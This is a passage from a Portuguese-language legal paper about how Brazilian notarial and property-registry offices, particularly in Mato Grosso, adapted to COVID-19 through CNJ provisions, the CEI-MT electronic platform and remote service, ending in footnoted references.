1994. <a href=\"https:\/\/atos.cnj.jus.br\/atos\/detalhar\/3265\">https:\/\/atos.cnj.jus.br\/atos\/detalhar\/3265<\/a><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\"><strong>CONSIDERANDO<\/strong> que os servi\u00e7os notariais e de registro s\u00e3o <u>essenciais<\/u> para o exerc\u00edcio da cidadania, para a circula\u00e7\u00e3o da propriedade, para a obten\u00e7\u00e3o de cr\u00e9dito com garantia real, para a prova do inadimplemento de t\u00edtulos e outros documentos de d\u00edvida com a chancela da f\u00e9 p\u00fablica, entre outros direitos.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>CONSIDERANDO<\/strong> o princ\u00edpio da continuidade dos servi\u00e7os p\u00fablicos e o fato de que os servi\u00e7os notariais e de registro devem ser prestados, de modo eficiente e adequado em dias e hor\u00e1rios estabelecidos pelo ju\u00edzo competente, desde que atendidas as peculiaridades locais (art. 4\u00ba da Lei n<strong>\u00ba<\/strong> 8.935, de 18 de novembro de 1994);<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Decreto municipal, cidade onde vive o autor deste paper <a href=\"#_ftn15\" name=\"_ftnref15\">[15]<\/a>:<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">ARTIGO 37. Os servi\u00e7os notariais e registrais deste Munic\u00edpio, em obedi\u00eancia ao princ\u00edpio da autonomia funcional, previstos nos artigos 236 da Constitui\u00e7\u00e3o Federal e no Art. 21 da Lei Federal n\u00ba 8.935\/1994, em conson\u00e2ncia com o que disp\u00f5e o provimento n\u00ba 91, de 22 de mar\u00e7o de 2020, do Conselho Nacional de Justi\u00e7a e as Portarias Conjuntas n\u00ba 247\/2020 e 249\/2020, expedidas pelo Tribunal de Justi\u00e7a do Estado de Mato Grosso e pela Corregedoria-Geral de Justi\u00e7a, nos termos deste Decreto, poder\u00e3o reduzir o hor\u00e1rio de expediente externo ou suspender as atividades e atendimento ao p\u00fablico caso necess\u00e1rio, enquanto subsistir a situa\u00e7\u00e3o atual.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Seguindo as linhas tra\u00e7adas pelo citado Provimento e outros de \u00e2mbito Estadual e ou Municipal, a fim de evitar e ou reduzir o acesso presencial do usu\u00e1rio aos servi\u00e7os notariais e de registros, estes implantaram temporariamente o atendimento por meio remoto ou virtual atrav\u00e9s de plataformas implantadas em centrais eletr\u00f4nicas existentes na maioria das Unidades Federativas do Pa\u00eds, E-mails, whatsaap, v\u00eddeo confer\u00eancia, atendimento com agendamento, recebimento de documentos f\u00edsicos enviados atrav\u00e9s Servi\u00e7os de Correios.<\/p>\n<p style=\"text-align: justify;\">Al\u00e9m dos recursos supra, por for\u00e7a do Decreto Federal n\u00ba 10.278\/2020<a href=\"#_ftn16\" name=\"_ftnref16\">[16]<\/a>, c\/c dentre outros com o Provimento n\u00ba 100\/2020<a href=\"#_ftn17\" name=\"_ftnref17\">[17]<\/a>, este editado pelo CNJ, \u00e9 poss\u00edvel a remessa de documentos para os Servi\u00e7os Notariais e de Registros via transmiss\u00e3o eletr\u00f4nica de t\u00edtulos e documentos produzidos digitalmente &#8211; nato digitais &#8211; observados os padr\u00f5es t\u00e9cnicos legalmente exigidos, eventualmente sujeitos \u00e0 obrigatoriedade de apresentar os respectivos originais, se solicitados pelo titular dos mencionados servi\u00e7os.<\/p>\n<p style=\"text-align: justify;\">A Associa\u00e7\u00e3o dos Not\u00e1rios e Registrados de Mato Grosso (AnoregMT), presidida pelo autor deste paper, seguindo as orienta\u00e7\u00f5es elencadas em linhas volvidas, elegendo-se o Registro de Im\u00f3veis do Brasil porque est\u00e1 inteiramente relacionado \u00e0s transa\u00e7\u00f5es imobili\u00e1rias e garantia dos direitos reais sobre a propriedade im\u00f3vel, este preparou um passo a passo para mostrar como deve ser feito o envio de documentos digitais, como c\u00e9dulas rurais e certid\u00f5es, pela nossa Central Eletr\u00f4nica de Registro de Im\u00f3veis. O procedimento tem pequenas varia\u00e7\u00f5es de estado para estado e, por isso, o tutorial ser\u00e1 dividido de acordo com cada operador regional.<\/p>\n<p style=\"text-align: justify;\">Muitos foram os cuidados e medidas de preven\u00e7\u00e3o adotadas, objetivando proteger os funcion\u00e1rios das Serventias Notariais e de registros no Brasil, bem como a popula\u00e7\u00e3o em geral e aos usu\u00e1rios dos referidos servi\u00e7os, dentre eles, em Mato Grosso, Unidade Federativa onde exer\u00e7o minha atividade, podem ser elencados os seguintes:<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\">\n<li>Utilizar a plataforma da Central Eletr\u00f4nica de Informa\u00e7\u00e3o e Integra\u00e7\u00e3o (CEI-MT) sitio eletr\u00f4nico <a href=\"https:\/\/cei-anoregmt.com.br\/\">https:\/\/cei-anoregmt.com.br\/<\/a>;<\/li>\n<li>Telefones do suporte da CEI: 65 9 9256-6781; 65 9 9256-0781; 65 9 8463-5945;<\/li>\n<\/ol>\n<ul style=\"text-align: justify;\">\n<li>Skype&#8217;s: atendimento.0018, atendimento.0017, atendimento.0016;<\/li>\n<\/ul>\n<ol style=\"text-align: justify;\">\n<li>Disponibilizamos no site da Associa\u00e7\u00e3o dos Not\u00e1rios e Registadores do Estado de Mato Grosso, (Anoreg-MT), suporte da ciada institui\u00e7\u00e3o com celulares\/skype&#8217;s\/chat para atender o usu\u00e1rio e a serventia;<\/li>\n<li>Atendimento por home office;<\/li>\n<li>Atendimento presencial por agendamento nas serventias<\/li>\n<\/ol>\n<ul style=\"text-align: justify;\">\n<li>A Anoreg-MT disponibilizou no site da associa\u00e7\u00e3o os celulares das serventias pelo endere\u00e7o eletr\u00f4nico para os usu\u00e1rios: <a href=\"https:\/\/thiagho.us-southeast-1.linodeobjects.com\/anoregmt\/2020\/04\/2020-04-08-Contato-para-atendimento-online-respostas.pdf\">https:\/\/thiagho.us-southeast-1.linodeobjects.com\/anoregmt\/2020\/04\/2020-04-08-Contato-para-atendimento-online-respostas.pdf<\/a><\/li>\n<li>Dentre os nossos colegas contamos com a orienta\u00e7\u00e3o do registrador de im\u00f3veis Mauricio C\u00e9sar Bento, que tamb\u00e9m tem forma\u00e7\u00e3o em farm\u00e1cia bioqu\u00edmica. Tem contribu\u00eddo com v\u00eddeos orientando quais os protocolos que a serventia deve ter cuidados ao atendimento presencial. Link <a href=\"https:\/\/www.anoregmt.org.br\/novo\/cartorio-de-cotriguacu-cria-video-com-dicas-para-atendimento-presencial\/\">https:\/\/www.anoregmt.org.br\/novo\/cartorio-de-cotriguacu-cria-video-com-dicas-para-atendimento-presencial\/<\/a><\/li>\n<\/ul>\n<ol style=\"text-align: justify;\">\n<li>Al\u00e9m de ter forma\u00e7\u00e3o em farm\u00e1cia bioqu\u00edmica, o registrador Mauricio tamb\u00e9m tem forma\u00e7\u00e3o em terapia, e tem oferecido o seu contato para aqueles associados da classe que queiram conversar e tirar d\u00favidas.<\/li>\n<li>A Anoreg-MT juntamente com o Instituto Estadual de Protestos de T\u00edtulos (IEPTB=MT) desenvolveram uma cartilha de atendimento para as 6 especialidades: Registro Civil, Registro Civil das Pessoas Jur\u00eddicas, Tabelionato de Notas, Registro de Im\u00f3veis, Protesto e Registro de T\u00edtulos e Documentos. Link <a href=\"https:\/\/www.anoregmt.org.br\/novo\/anoreg-mt-e-instituto-de-protesto-criam-cartilha-para-atendimento-aos-usuarios\/\">https:\/\/www.anoregmt.org.br\/novo\/anoreg-mt-e-instituto-de-protesto-criam-cartilha-para-atendimento-aos-usuarios\/<\/a><\/li>\n<li>Nosso sitio eletr\u00f4nico tem banner criados com divulga\u00e7\u00f5es constantes sobre as mat\u00e9rias inerente ao Covid-19, sejam do Poder Executivo, Legislativo, Judici\u00e1rio em \u00e2mbito federal ou estadual.<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"8\">\n<li><strong>Impactos da COVID-19 no \u00e2mbito das Serventias <a href=\"#_ftn18\" name=\"_ftnref18\">[18]<\/a><\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\">Destaca-se que o principal impacto para a categoria at\u00e9 agora foi a redu\u00e7\u00e3o nos servi\u00e7os internos, diminui\u00e7\u00e3o na renda, certamente com reflexos nas quest\u00f5es trabalhista junto aos colaboradores. Tentar-se-\u00e1 de todas as formas impedir que tenhamos demiss\u00f5es, mas \u00e9 algo que preocupara a classe notarial e registral, porque alguns encargos ainda permanecem, como o Fundo de assist\u00eancia do Poder Judici\u00e1rio (Funajuris), recolhimento do imposto sobre servi\u00e7os de qualquer natureza (Issqn) e outros.<\/p>\n<p style=\"text-align: justify;\">Sens\u00edvel ao clamor popular, o Conselho Nacional de Justi\u00e7a, (CNJ, \u00f3rg\u00e3o fiscalizador dos Servi\u00e7os Notariais e de Registro, reconhecendo \u2013os como essenciais para o exerc\u00edcio de cidadania para a circula\u00e7\u00e3o da propriedade para a obten\u00e7\u00e3o de credito com garantia real, para a proa de inadimplemento de t\u00edtulos e outros documentos de d\u00edvida com a chancela de f\u00e9 p\u00fablica, entre outros direitos, editou v\u00e1rios provimentos nos meses de mar\u00e7o, abril, maio e junho do corrente ano, com destaque para os de n\u00fameros 94 e 95 <a href=\"#_ftn19\" name=\"_ftnref19\">[19]<\/a> que tratam de v\u00e1rias quest\u00f5es, a seguir elencados, visando principalmente desburocratizar os aludidos servi\u00e7os notariais e de registro imobili\u00e1rio.<\/p>\n<p style=\"text-align: justify;\">Nesse sentido, citam-se alguns pontos importantes modificados pelos provimentos do CNJ, expedidos em raz\u00e3o da excepcionalidade do per\u00edodo:<\/p>\n<ul style=\"text-align: justify;\">\n<li>Cart\u00f3rios n\u00e3o deixar\u00e3o de praticar atos, nem estar\u00e3o com prazos suspensos;<\/li>\n<li>Os prazos de qualifica\u00e7\u00e3o (de an\u00e1lise do t\u00edtulo, quando protocolado) e pr\u00e1tica do registro dever\u00e3o ser contados em dobro, com exce\u00e7\u00e3o da emiss\u00e3o de certid\u00f5es e contratos de financiamento;<\/li>\n<li>Certid\u00f5es de matr\u00edculas requisitadas atrav\u00e9s do SREI (Sistema de Registro Eletr\u00f4nico de Im\u00f3veis), que est\u00e1 funcionando para todo Brasil no site www.registrodeimoveis.org.br, dever\u00e3o ser disponibilizadas ao solicitante em at\u00e9 duas horas ap\u00f3s a confirma\u00e7\u00e3o do pagamento do emolumento (a taxa cartor\u00e1ria);<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">As inova\u00e7\u00f5es trazidas pelo Provimento 94\/2020, espec\u00edfico para os Registros de Im\u00f3veis durante a pandemia s\u00e3o excepcionalmente positivas, fazendo-se jus \u00e0 expectativa de que essas conquistas sociais concernentes ao protocolo eletr\u00f4nico e das certid\u00f5es online permane\u00e7am.<\/p>\n<p style=\"text-align: justify;\">Importante frisar que mesmo antes do Provimento 94\/2020 expedido pelo CNJ, bem como antes da pandemia do Covid-19, a Anoreg-MT j\u00e1 tinha uma plataforma de integra\u00e7\u00e3o e informa\u00e7\u00e3o com as serventias Mato-grossenses. A CEI-MT, foi criada em 2014 com a edi\u00e7\u00e3o do Provimento 81\/2014<a href=\"#_ftn20\" name=\"_ftnref20\">[20]<\/a> com o apoio da Corregedoria-Geral da Justi\u00e7a do Estado de Mato Grosso, <em>que permite a qualquer usu\u00e1rio do Brasil n\u00e3o apenas fazer um pedido pela CEI, denominado como e-protocolo<\/em>, mas tamb\u00e9m pode o usu\u00e1rio consultar e visualizar o pr\u00f3prio ato que foi praticado na serventia.<\/p>\n<p style=\"text-align: justify;\">A <u>CEI-MT contempla todas as especialidades, que \u00e9 um diferencial das outras centrais,<\/u> ou seja, a Anoreg-MT, gestora da CEI permite ao usu\u00e1rio que em um \u00fanico lugar consiga consultar\/visualizar ou pedir atos de todas as especialidades: Registro Civil, Registro Civil das Pessoas Jur\u00eddicas, Tabelionato de Notas, Registro de Im\u00f3veis, Protesto e Registro de T\u00edtulos e Documentos.<\/p>\n<p style=\"text-align: justify;\">Durante uma <em>live<\/em> sobre avan\u00e7os tecnol\u00f3gicos a Anoreg foi citada como pioneira no Brasil, em fazer valer os mencionados provimentos, notadamente quanto ao registro da C\u00e9dula de Produto Rural eletr\u00f4nica (E-CPR) fomentadora no acesso ao cr\u00e9dito rural, nesse momento de pandemia. Atrav\u00e9s de seus t\u00e9cnicos a Anoreg-MT desenvolveu um servi\u00e7o de distribui\u00e7\u00e3o que permite ao usu\u00e1rio solicitar c\u00e9dulas de forma eletr\u00f4nica a todos os Cart\u00f3rios de Registro de Im\u00f3veis do Estado de Mato Grosso. Desta forma, traz mais seguran\u00e7a e agilidade no processo de entrega para o cliente final. A parceria iniciou com a Bart Digital, os processos j\u00e1 est\u00e3o sendo implantados em todo o Estado e j\u00e1 est\u00e1 em funcionamento, durante um <em>live<\/em> promovida pela Escola Superior do Agroneg\u00f3cio (Esagro) em parceria com Bart Digital, a diretora executiva da Bart Digital, Mariana Bonora, durante a <em>live<\/em> falou da import\u00e2ncia de ter uma plataforma e como podem facilitar o acesso entre usu\u00e1rio e cart\u00f3rio em meio a essa crise. Mariana fez elogios a Anoreg-MT, que n\u00e3o mediu esfor\u00e7os para implantar com sucesso a ferramenta que j\u00e1 foi testada e aprovada pelos seus usu\u00e1rios.<\/p>\n<p style=\"text-align: justify;\">No contexto atual, merece destaque a falibilidade t\u00e9cnica\/jur\u00eddica dos contratos eletr\u00f4nicos levados a registros, uma vez que inexistem regras claras, est\u00e1veis e previamente conhecidas por todos, com delimita\u00e7\u00e3o expl\u00edcita dos seus limites e respectivos mecanismos de controle. Portanto, tem-se muitas vezes<em>, na economia de mercado, as prioridades econ\u00f4micas se colocam acima das normas jur\u00eddicas ou dos valores que elas consagram.<\/em><\/p>\n<p style=\"text-align: justify;\">Vale dizer que os meios dispon\u00edveis para armazenamento de dados possuem 100 por cento de seguran\u00e7a e, dessa forma, est\u00e3o sujeitos a se corromperem ou sofrerem ataques cibern\u00e9ticos.<\/p>\n<p style=\"text-align: justify;\">Nesse sentido, a seguran\u00e7a jur\u00eddica preventiva pode estar em jogo frente \u00e0 deteriorabilidade dos arquivos eletr\u00f4nicos que servem de base para gerar neg\u00f3cios jur\u00eddicos atrav\u00e9s da internet.\u00a0 Assim, o problema a resolver \u00e9 saber como blindar o registro eletr\u00f4nico frente aos in\u00fameros fatores, destacando a desgovernan\u00e7a da internet, como sendo o maior deles, que aliada \u00e0 falta de privacidade da pessoa humana, muito contribuem para sua falibilidade t\u00e9cnico\/jur\u00eddica.<a href=\"#_ftn21\" name=\"_ftnref21\">[21]<\/a><\/p>\n<p style=\"text-align: justify;\">Sobre a experi\u00eancia espanhola, o Professor Nicolas enfatizou as preocupa\u00e7\u00f5es com o futuro, segundo ele, hoje est\u00e1 sendo debatido os pr\u00f3ximos passos do registro. <em>\u201cO grande medo que temos hoje na Espanha \u00e9 a conserva\u00e7\u00e3o dos arquivos eletr\u00f4nicos. A solu\u00e7\u00e3o que encontramos, at\u00e9 agora, \u00e9 fazer a migra\u00e7\u00e3o dos dados de tempos em tempos. Contudo em qualquer migra\u00e7\u00e3o pode ocorrer perda de dados, mas todos os dados que temos no registro s\u00e3o muito sens\u00edveis e muito importantes. Do ponto de vista tecnol\u00f3gico, perder uma, duas ou dez titularidades \u00e9 um n\u00famero desprez\u00edvel, mas para o cidad\u00e3o que tem sua titularidade perdida, questionada n\u00e3o \u00e9 algo desprez\u00edvel e sim preocupante, por isso devemos ser muito prudentes\u201d.<\/em><\/p>\n<p style=\"text-align: justify;\">Destarte, necess\u00e1rio criar normas transparentes e espec\u00edficas para os contratos eletr\u00f4nicos, bem como tratados internacionais que melhor regule, as rela\u00e7\u00f5es trasnfroteiri\u00e7as das atividades comerciais, relativas aos documentos criados na internet e governan\u00e7a desta. Se n\u00e3o houver o m\u00ednimo de racionalidade no uso do poder, mesmo o seu titular n\u00e3o ter\u00e1 como exerc\u00ea-lo, da\u00ed a necessidade de regras claras, est\u00e1veis e previamente conhecidas por todos, com delimita\u00e7\u00e3o expl\u00edcita dos seus limites e respectivos mecanismos de controle.<\/p>\n<p style=\"text-align: justify;\">Assim sendo, como exemplo da proposta de regulamento sobre um normativa comum de compra e venda, debatida no parlamento europeu, prop\u00f5e-se que semelhante projeto seja acolhido nos Pa\u00eds interessados em editar tratado internacional objetivando mutuamente normatizar os contratos por meios eletr\u00f4nicos, nas transa\u00e7\u00f5es imobili\u00e1rias transfronteiri\u00e7as, criando-se, em consequ\u00eancia, um \u00f3rg\u00e3o com jurisdi\u00e7\u00e3o universal dotado de legitimidade para guiar os Estados membros rumo \u00e0s pol\u00edticas normativas e sobre elas exercer controle objetivando a seguran\u00e7a jur\u00eddica dos atos praticados.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"9\">\n<li><strong> Considera\u00e7\u00f5es Finais<\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">A atividade notarial e registral, como acima exposto, configura no rol de atividades essenciais, de modo que n\u00e3o deve e n\u00e3o pode ser interrompido o seu funcionamento. Neste cen\u00e1rio, verifica-se que, em que pese a decreta\u00e7\u00e3o de Pandemia pela Organiza\u00e7\u00e3o Mundial de Sa\u00fade \u2013 OMS, os servi\u00e7os prestados pelos Cart\u00f3rios n\u00e3o podem parar. Tal fator decorre eminentemente da essencialidade dos servi\u00e7os registrais que est\u00e1 presente nos principais atos da vida humana, desde o assento de nascimento\/\u00f3bito at\u00e9 os neg\u00f3cios jur\u00eddicos de aliena\u00e7\u00e3o e cr\u00e9dito banc\u00e1rio com garantia real, de modo a garantir a cidadania, a seguran\u00e7a jur\u00eddica e a publicidade de determinados atos.<\/p>\n<p style=\"text-align: justify;\">O direito notarial e registral, a fim de atender o seu proposito principal, qual seja, a seguran\u00e7a jur\u00eddica, sempre deve buscar se adequar a realidade. Neste cen\u00e1rio, v\u00ea-se a import\u00e2ncia em moderniz\u00e1-lo, por meio das centrais eletr\u00f4nicas, que possibilita o ingresso das demandas e a realiza\u00e7\u00e3o de atos digitais, a fim de garantir a continuidade dos seus servi\u00e7os.<\/p>\n<p style=\"text-align: justify;\">A pandemia, enquanto situa\u00e7\u00e3o excepcional e at\u00edpica, acelerou e aperfei\u00e7oou os programas j\u00e1 existentes e impulsionou com avan\u00e7os significativos em todo o Pa\u00eds.<\/p>\n<p style=\"text-align: justify;\">Especificamente, vale destacar que no Estado do Mato Grosso, onde estou como delegat\u00e1rio da Serventia de Registro de Im\u00f3veis e T\u00edtulos e Documentos da Comarca de Campo Novo do Parecis, j\u00e1 existia uma Central Eletr\u00f4nica de Integra\u00e7\u00e3o e Informa\u00e7\u00f5es \u2013 CEI, administrada pela ANOREG\/MT, desde 2014, que recepciona TODOS os documentos das diferentes especialidades no \u00e2mbito das serventias extrajudiciais (RCPN, RCPJ, RI, RTD e Tabelionatos de Notas e Protesto) em uma s\u00f3 plataforma, \u00a0a qual devido a pandemia foi enriquecida de modo que aumentou o n\u00famero de acessos e passou a ser mais utilizada.<\/p>\n<p style=\"text-align: justify;\">Al\u00e9m dos avan\u00e7os digitais, \u00e9 importante salientar, ainda, que durante o per\u00edodo de Pandemia, houve modifica\u00e7\u00f5es tamb\u00e9m no ambiente de trabalho das serventias, com a rotatividade dos colaboradores no espa\u00e7o f\u00edsico dos cart\u00f3rios, bem como ado\u00e7\u00e3o de medidas preventivas de higieniza\u00e7\u00e3o, tais como: uso de \u00e1lcool em gel 70%, m\u00e1scaras de prote\u00e7\u00e3o, lavar as m\u00e3os e controle de entrada dos clientes.<\/p>\n<p style=\"text-align: justify;\">Destarte, desde mar\u00e7o\/20 quando eclodiu o COVID\/19 no Brasil, tem-se a preocupa\u00e7\u00e3o em se garantir seguran\u00e7a dos colaboradores e clientes, isto \u00e9, a sa\u00fade p\u00fablica em geral, mas sem minimizar as quest\u00f5es econ\u00f4micas do modo a n\u00e3o estagnar a economia a n\u00edvel de Brasil, bem como a local.<\/p>\n<p style=\"text-align: justify;\">Portanto, resta-nos a continuidade de todos estes esfor\u00e7os a fim de garantir a continuidade e a essencialidades dos servi\u00e7os registrais e notariais, avan\u00e7ando sempre em busca da excel\u00eancia com o intuito de atender a todos os participantes deste contexto.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"#_ftnref1\" name=\"_ftn1\">[1]<\/a> Universidad Notarial Argentina (UNA), Universidad Del Museo Social Argentino (UMSA) &#8211; Faculdade de Direito do Vale do Rio Doce (FADIVALE, na UNITAS- Uni\u00e3o das Faculdades de Tangar\u00e1 de Serra-MT (UNITAS), Universidade de Campinas-SP &#8211; BRAZIL (UNICAMP).<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref2\" name=\"_ftn2\">[2]<\/a> BRASIL.\u00a0Constitui\u00e7\u00e3o\u00a0(1988).\u00a0Constitui\u00e7\u00e3o da Rep\u00fablica Federativa do Brasil. Bras\u00edlia, DF, 1988.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref3\" name=\"_ftn3\">[3]<\/a> BRASIL. Lei 6.015, de 31 de dezembro de 1973. Disp\u00f5e sobre os registros p\u00fablicos, e d\u00e1 outras provid\u00eancias. Bras\u00edlia, DF, 1973.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref4\" name=\"_ftn4\">[4]<\/a> BRASIL. Lei 8.935, de 18 de novembro de 1994. Regulamenta o\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Constituicao\/Constituicao.htm#art236\">art. 236 da Constitui\u00e7\u00e3o Federal<\/a>, dispondo sobre servi\u00e7os notariais e de registro. (Lei dos cart\u00f3rios).<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref5\" name=\"_ftn5\">[5]<\/a> BRASIL.\u00a0Constitui\u00e7\u00e3o\u00a0(1988).\u00a0Constitui\u00e7\u00e3o da Rep\u00fablica Federativa do Brasil. Bras\u00edlia, DF, 1988.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref6\" name=\"_ftn6\">[6]<\/a> Dispon\u00edvel em: &lt;https:\/\/www.registrodeimoveis.org.br\/quem-somos&gt;.\u00a0 Quem somos n\u00f3s?. Acesso em: 13 ago 2020.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref7\" name=\"_ftn7\">[7]<\/a> BRASIL. Lei 13.465, de 11 de julho de 2017. Disp\u00f5e sobre a regulariza\u00e7\u00e3o fundi\u00e1ria rural e urbana, sobre a liquida\u00e7\u00e3o de cr\u00e9ditos concedidos aos assentados da reforma agr\u00e1ria e sobre a regulariza\u00e7\u00e3o fundi\u00e1ria no \u00e2mbito da Amaz\u00f4nia Legal;. Bras\u00edlia, DF, 2017.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref8\" name=\"_ftn8\">[8]<\/a> Dispon\u00edvel em: &lt; http:\/\/ cart\u00f3rios.org\/2013\/06\/27\/srei-servi\u00e7o-de-registro-eletronico-de-imoveis\/&gt;. Central Registradores de Im\u00f3veis \u2013 Flauzilino Ara\u00fajo dos Santos.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref9\" name=\"_ftn9\">[9]<\/a> BRASIL. Lei 13.986, de 7 de abril de 2020. Institui o Fundo Garantidor Solid\u00e1rio (FGS); disp\u00f5e sobre o patrim\u00f4nio rural em afeta\u00e7\u00e3o, a C\u00e9dula Imobili\u00e1ria Rural (CIR), a escritura\u00e7\u00e3o de t\u00edtulos de cr\u00e9dito e a concess\u00e3o de subven\u00e7\u00e3o econ\u00f4mica para empresas cerealistas; (&#8230;) e d\u00e1 outras provid\u00eancias. Bras\u00edlia, DF, 2017.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref10\" name=\"_ftn10\">[10]<\/a> Dispon\u00edvel em: &lt;http:\/\/www.colegioregistralrs.or.br\/associado&gt;. Registro P\u00fablico de Im\u00f3veis Eletr\u00f4nico \u2013 Riscos e Desafios &#8211; Fernando M\u00e9ndez Gonz\u00e1lez, Des. Ricardo Dipp e S\u00e9rgio Jacomino.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref11\" name=\"_ftn11\">[11]<\/a> FERNANDES, Ed\u00e9sio. <em>O mito da Zona Rural<\/em>, publicado na revista do Instituto de Registradores Imobili\u00e1rios do Brasil- IRIB- N.311. Julho\/agosto-2003, pag. 135<\/p>\n<p style=\"text-align: justify;\">FERRARI, Regina Maria Macedo Nery. Direito Municipal. Ed. Revista dos Tribunais. SP. 2005.<\/p>\n<p style=\"text-align: justify;\">CARNEIRO, Andr\u00e9a Fl\u00e1via Ten\u00f3rio. Cadastro Imobili\u00e1rio e Registro de Im\u00f3veis. Porto Alegre: Sergio Antonio Fabris Editor, 2003, p. 162.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref12\" name=\"_ftn12\">[12]<\/a> DORIA, Julyana Perrelli de Ayalla. <em>Incid\u00eancia do ITBI sobre os contratos de promessa de compra e venda. Uma an\u00e1lise cr\u00edtica da jurisprud\u00eancia.<\/em> Conteudo Juridico, Brasilia-DF: 13 ago 2020. Disponivel em: <a href=\"https:\/\/conteudojuridico.com.br\/consulta\/Artigos\/51569\/incidencia-do-itbi-sobre-os-contratos-de-promessa-de-compra-e-venda-uma-analise-critica-da-jurisprudencia\">https:\/\/conteudojuridico.com.br\/consulta\/Artigos\/51569\/incidencia-do-itbi-sobre-os-contratos-de-promessa-de-compra-e-venda-uma-analise-critica-da-jurisprudencia<\/a>. Acesso em: 13 ago 2020.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref13\" name=\"_ftn13\">[13]<\/a> SABENE, Sebasti\u00e1n E Registro Cadastral \u2013 1\u00ba Ed. \u2013 Buenos Aires Zavalia, 2013;<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref14\" name=\"_ftn14\">[14]<\/a> Dispon\u00edvel em: &lt;<a href=\"https:\/\/atos.cnj.jus.br\/atos\/detalhar\/3265\">https:\/\/atos.cnj.jus.br\/atos\/detalhar\/3265<\/a>&gt;. Provimento N\u00ba 95 de 01\/04\/2020, Conselho Nacional de Justi\u00e7a.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref15\" name=\"_ftn15\">[15]<\/a>Dispon\u00edvel em: &lt;https:\/\/leismunicipais.com.br\/a\/mt\/c\/campo-novo-do-parecis\/decreto\/2020\/5\/51\/decreto-n-51-2020-dispoe-sobre-novas-medidas-para-o-enfrentamento-da-emergencia-de-saude-publica-de-importancia-internacional-decorrente-do-coronavirus-covid-19-a-serem-adotadas-pelo-poder-executivo-municipal-e-da-outras-providencias&gt;. Aceso em: 13\/agosto\/2020.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref16\" name=\"_ftn16\">[16]<\/a> BRASIL. Lei 10.278, de 18 de mar\u00e7o de 2020. Regulamenta o disposto no inciso X do\u00a0caput\u00a0do art. 3\u00ba da Lei n\u00ba 13.874, de 20 de setembro de 2019, e no art. 2\u00ba-A da Lei n\u00ba 12.682, de 9 de julho de 2012, para estabelecer a t\u00e9cnica e os requisitos para a digitaliza\u00e7\u00e3o de documentos p\u00fablicos ou privados, a fim de que os documentos digitalizados produzam os mesmos efeitos legais dos documentos originais. Brasilia, DF, 2020. Dispon\u00edvel em: &lt;http:\/\/www.planalto.gov.br\/ccivil_03\/_Ato2019-2022\/2020\/Decreto\/D10278.html&gt;.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref17\" name=\"_ftn17\">[17]<\/a> Dispon\u00edvel em: &lt; https:\/\/atos.cnj.jus.br\/atos\/detalhar\/3334&gt;. Provimento N\u00ba 95 de 01\/04\/2020, Conselho Nacional de Justi\u00e7a.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref18\" name=\"_ftn18\">[18]<\/a> Dispon\u00edvel em: &lt;<a href=\"https:\/\/thiagho.us-southeast-1.linodeobjects.com\/anoregmt\/2020\/06\/Port-71.2020-CGJ-prorroga%C3%A7%C3%A3o-suspens%C3%A3o-do-atendimento-presencial-dos-cart%C3%B3rios-extrajudiciais-at%C3%A9-31.12.2020.pdf\">https:\/\/thiagho.us-southeast-1.linodeobjects.com\/anoregmt\/2020\/06\/Port-71.2020-CGJ-prorroga%C3%A7%C3%A3o-suspens%C3%A3o-do-atendimento-presencial-dos-cart%C3%B3rios-extrajudiciais-at%C3%A9-31.12.2020.pdf<\/a>&gt;.<\/p>\n<p style=\"text-align: justify;\">Dispon\u00edvel em &lt;<a href=\"https:\/\/thiagho.us-southeast-1.linodeobjects.com\/anoregmt\/2020\/04\/2020-03-23-Autonomia-as-serventias-a-suspenderem-os-servi%C3%A7os-ou-reduzirem-o-expediente-COVID-19.pdf\">https:\/\/thiagho.us-southeast-1.linodeobjects.com\/anoregmt\/2020\/04\/2020-03-23-Autonomia-as-serventias-a-suspenderem-os-servi%C3%A7os-ou-reduzirem-o-expediente-COVID-19.pdf<\/a>&gt;. Suspens\u00e3o do expediente das serventias extrajudiciais do Estado de Mato Gross, em conson\u00e2ncia com as orienta\u00e7\u00f5es das autoridades locais e nacionais de Sa\u00fade P\u00fablica.<\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref19\" name=\"_ftn19\">[19]<\/a> Dispon\u00edvel em: &lt;<a href=\"https:\/\/atos.cnj.jus.br\/atos\/detalhar\/3259\">https:\/\/atos.cnj.jus.br\/atos\/detalhar\/3259<\/a>&gt;. Provimento N\u00ba 94 de 28\/03\/2020, Conselho Nacional de 